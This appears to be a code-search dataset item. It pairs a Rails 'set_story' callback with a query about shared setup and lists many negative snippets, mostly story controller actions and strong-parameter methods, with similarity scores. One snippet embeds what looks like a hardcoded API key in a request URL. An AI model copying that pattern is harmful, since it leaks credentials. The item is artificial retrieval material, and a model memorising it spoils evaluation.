"def show\n # params[#id] is form the URL, e.g if /stories/7\n # then params[:id] is 7\n @story = Story.find(params[:id])\n end",
"def stories\n @stories ||= Stories.new(data)\n end",
"def show\n\t\t#params[:id] is the number in the url we are looking for\n\t\t#@story = Story.find(params[:id])\n\tend",
"def show\n @pic_story = PicStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic_story }\n end\n end",
"def show\n @story = Story.find(params[:id])\n end",
"def show\n @storyboard = Storyboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storyboard }\n end\n end",
"def story(story_id)\n Endpoints::Story.new(self).get_story(story_id)\n end",
"def get_news( category = \"home\" )\n url = \"https://api.nytimes.com/svc/topstories/v2/#{ category }.json\"\n options = { api_key: Rails.application.secrets.NY_TIMES_TOP_STORIES_KEY }\n\n response = HTTParty.get( url, :query => options )\n\n response\n end",
"def index\n @stories = Story.where(user_id: current_user.id)\n end",
"def show\n user = User.find(params[:id])\n # render json: {\n # # user.to_json(include: :stories, except: :password_digest)\n # user: user,\n # stories: user.stories,\n # success: true\n # }\n render json: user.to_json(include: :stories, except: :password_digest)\n end",
"def project_story(project_id, story_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}/story/#{story_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n @stories = Story.all.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def stories_url project_id\n server = lookup_server_from_project(project_id)\n pivotal_url = server[:url]\n { :url => \"#{pivotal_url}/projects/#{project_id}/stories\", :token => server[:token] }\nend",
"def index\n @user_stories = UserStory.all\n end",
"def show\n @story_choice = StoryChoice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story_choice }\n end\n end",
"def show\n @story = Story.find_by_permalink(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def get_from_mashable\n route = 'http://mashable.com/stories.json'\n raw_response = RestClient.get route\n response = JSON.load raw_response\n response[\"hot\"].map do |story|\n story_hash = {\n title: story[\"title\"],\n score: story[\"shares\"][\"total\"],\n category: story[\"channel\"],\n author: story[\"author\"]\n }\n end\nend",
"def show\n\t\t# @story = Story.find( params[:id] )\n\n\tend",
"def green_stories\n get_data(\"stories/green\")\n end",
"def index\n @q = Story.search(params[:q])\n @stories = @q.result(:distinct => true).by_flagged(false).order(\"created_at DESC\").all(:conditions => { :draft => false }).to_a\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stories }\n end\n end",
"def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end",
"def index\n @title = \"Studies\"\n\n respond_to do |format|\n format.html do\n @my_studies = Study.with_user(current_user.netid)\n end\n format.json do\n render :json => Study.with_user(current_user.netid).to_json\n end\n end\n end",
"def index\n @facebook_user_stories = GameRules::Rules.the_rules.facebook_user_stories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facebook_user_stories }\n end\n end",
"def show\n @story = Story.find(params[:id])\n \n # set map data, if it's the primary media for this story\n if @story.media_type.name == \"map_interview\"\n @media_geojson = @story.map_data ? @story.map_data.html_safe : \"\"\n end\n \n # we probably just want to show a dot on the map, e.g. no popup\n #@geojson = @story.to_geojson.html_safe\n @geojson = @story.to_geojson_point.html_safe\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end",
"def show\n @storylink = Storylink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storylink }\n end\n end",
"def stories(per_page: 20, options: {})\n params = { limit: per_page }.reject { |_,v| v.nil? || Array(v).empty? }\n Collection.new(parse(client.get(\"/tasks/#{gid}/stories\", params: params, options: options)), type: Story, client: client)\n end",
"def index\n @page_title = 'Stories'\n if params[:tag_id]\n @obj = Tag.find_by_name(params[:tag_id])\n elsif params[:character_id]\n @obj = Character.find(params[:character_id])\n elsif params[:source_id]\n @obj = Source.find(params[:source_id])\n else\n @base_stories = Story.all\n unless can_see_adult?\n @base_stories = Story.non_adult(@base_stories)\n .or(stories.where(user: current_user_or_guest))\n end\n end\n if @obj.present?\n @base_stories = @obj.visible_stories(current_user_or_guest)\n # @page_title.prepend(@obj.name + ' ')\n @page_title += \" in \\\"#{@obj.name}\\\"\"\n end\n\n @base_stories = do_filtering(@base_stories)\n # exact_filters = {}\n # fuzzy_filters = {}\n #\n # %i[tags sources characters].each do |tp|\n # exact_filters[tp] = params[\"filter_#{tp}\".to_sym]\n # fuzzy_filters[tp] = params[\"other_#{tp}\".to_sym]\n # end\n # @base_stories = Story.tsc_wrapper(@base_stories, exact_filters, true)\n # @base_stories = Story.tsc_wrapper(@base_stories, fuzzy_filters, false)\n\n # query_params = {\n # tags: params[:other_tags],\n # sources: params[:other_sources],\n # characters: params[:other_characters]\n # }\n # @base_stories = Story.tsc_search(@base_stories, query_params)\n # @base_stories = Story.tsc_search(@base_stories, params)\n\n # sort_by = params[:sort_by] ? params[:sort_by].to_sym : :updated_at\n # sort_dir = params[:sort_direction] ? params[:sort_direction].to_sym : :desc\n\n # if sort_by == :num_comments\n # @stories = @base_stories.left_outer_joins(:comments)\n # .select('stories.*, COUNT(comments.*)')\n # .group('stories.id')\n # .order(\"COUNT(comments.*) #{sort_dir}\")\n # else\n # @stories = @base_stories.order(sort_by => sort_dir)\n # end\n\n # unless can_see_adult?\n # # @base_stories = @base_stories.reject(&:is_adult?)\n # @base_stories = Story.non_adult(@base_stories)\n # end\n\n @stories = Story.s_sort(@base_stories, params[:sort_by], params[:sort_direction])\n @stories = @stories.paginate(page: params[:page], per_page: 10)\n end",
"def show \n PivotalTracker::Client.token = current_user.setting.pt_api_key\n @project = PivotalTracker::Project.find(params[:id].to_i)\n @stories = @project.stories.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def index\n @project_id = params[:project_id]\n @sprints = Sprint.joins(:stories).where(:stories => {:project_id => @project_id})\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprints }\n end\n end",
"def show\n @story_comment = StoryComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_comment }\n end\n end",
"def history\n @story = Story.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def show\n @story = Story.find(params[:id]) # place dans l'objet @story accessible par la vue les infos de la story[id]\n end",
"def show\n @contact = Contact.find(params[:id])\n @stories = @contact.stories.order(\"updated_at desc\")\n # @contact.stories = Story.find(params[:contact_id])\n \n if @contact.twitter.present?\n @tweet = @contact.twitter\n twitter_url = \"http://search.twitter.com/search.json?q=#{@tweet}&include_entities=true&result_type=mixed&limit=10\"\n feeds = JSON.parse(open(twitter_url).read)\n @results = feeds[\"results\"]\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contact }\n end\n end",
"def show\n @hike_story = HikeStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hike_story }\n end\n end",
"def index\n @story_pages = StoryPage.all\n end",
"def show\n @sprint = Sprint.find(params[:id])\n @stat = Status.find(4)\n @stories = Story.where(\"status_id = ?\", @stat.id)\n @examples = @sprint.stories \n @project_id = @examples.first.project_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end"
] |
[
"0.722337",
"0.7212803",
"0.7212803",
"0.7179449",
"0.7179449",
"0.71339214",
"0.7131572",
"0.705515",
"0.7037324",
"0.7033313",
"0.70329833",
"0.70329833",
"0.6985162",
"0.6951725",
"0.6938928",
"0.69253165",
"0.69031847",
"0.69031847",
"0.683582",
"0.6831886",
"0.67619693",
"0.67619693",
"0.67619693",
"0.67619693",
"0.67619693",
"0.67619693",
"0.67607296",
"0.67581785",
"0.67302763",
"0.67188513",
"0.67159885",
"0.66930187",
"0.6687051",
"0.6670575",
"0.66539466",
"0.66290694",
"0.66193",
"0.66015023",
"0.65251",
"0.65174484",
"0.6516257",
"0.65131426",
"0.65127426",
"0.6489958",
"0.64833397",
"0.64826256",
"0.6478644",
"0.6464774",
"0.64532715",
"0.64493984",
"0.6428834",
"0.64215606",
"0.6421194",
"0.641599",
"0.64002776",
"0.6398123",
"0.6398123",
"0.6398123",
"0.6398033",
"0.63518286",
"0.63443476",
"0.6299545",
"0.62836486",
"0.6270688",
"0.6267392",
"0.62666774",
"0.62548655",
"0.622955",
"0.6215257",
"0.6205954",
"0.6204173",
"0.6169185",
"0.6159924",
"0.6133281",
"0.6131888",
"0.61283475",
"0.6118747",
"0.60953975",
"0.6093319",
"0.605665",
"0.60473526",
"0.6046683",
"0.6035088",
"0.60312814",
"0.603034",
"0.6027297",
"0.6025565",
"0.60157466",
"0.60090214",
"0.5981438",
"0.59804803",
"0.596867",
"0.59358424",
"0.59344953",
"0.5933434",
"0.5930167",
"0.590173",
"0.58969665",
"0.5891826",
"0.5885285"
] |
0.6255573
|
66
|
Use callbacks to share common setup or constraints between actions.
|
def set_story
@story = Story.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def story_params
params.require(:story).permit(:name, :location, :species, :gender, :affiliations, :weapon, :vehicle)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
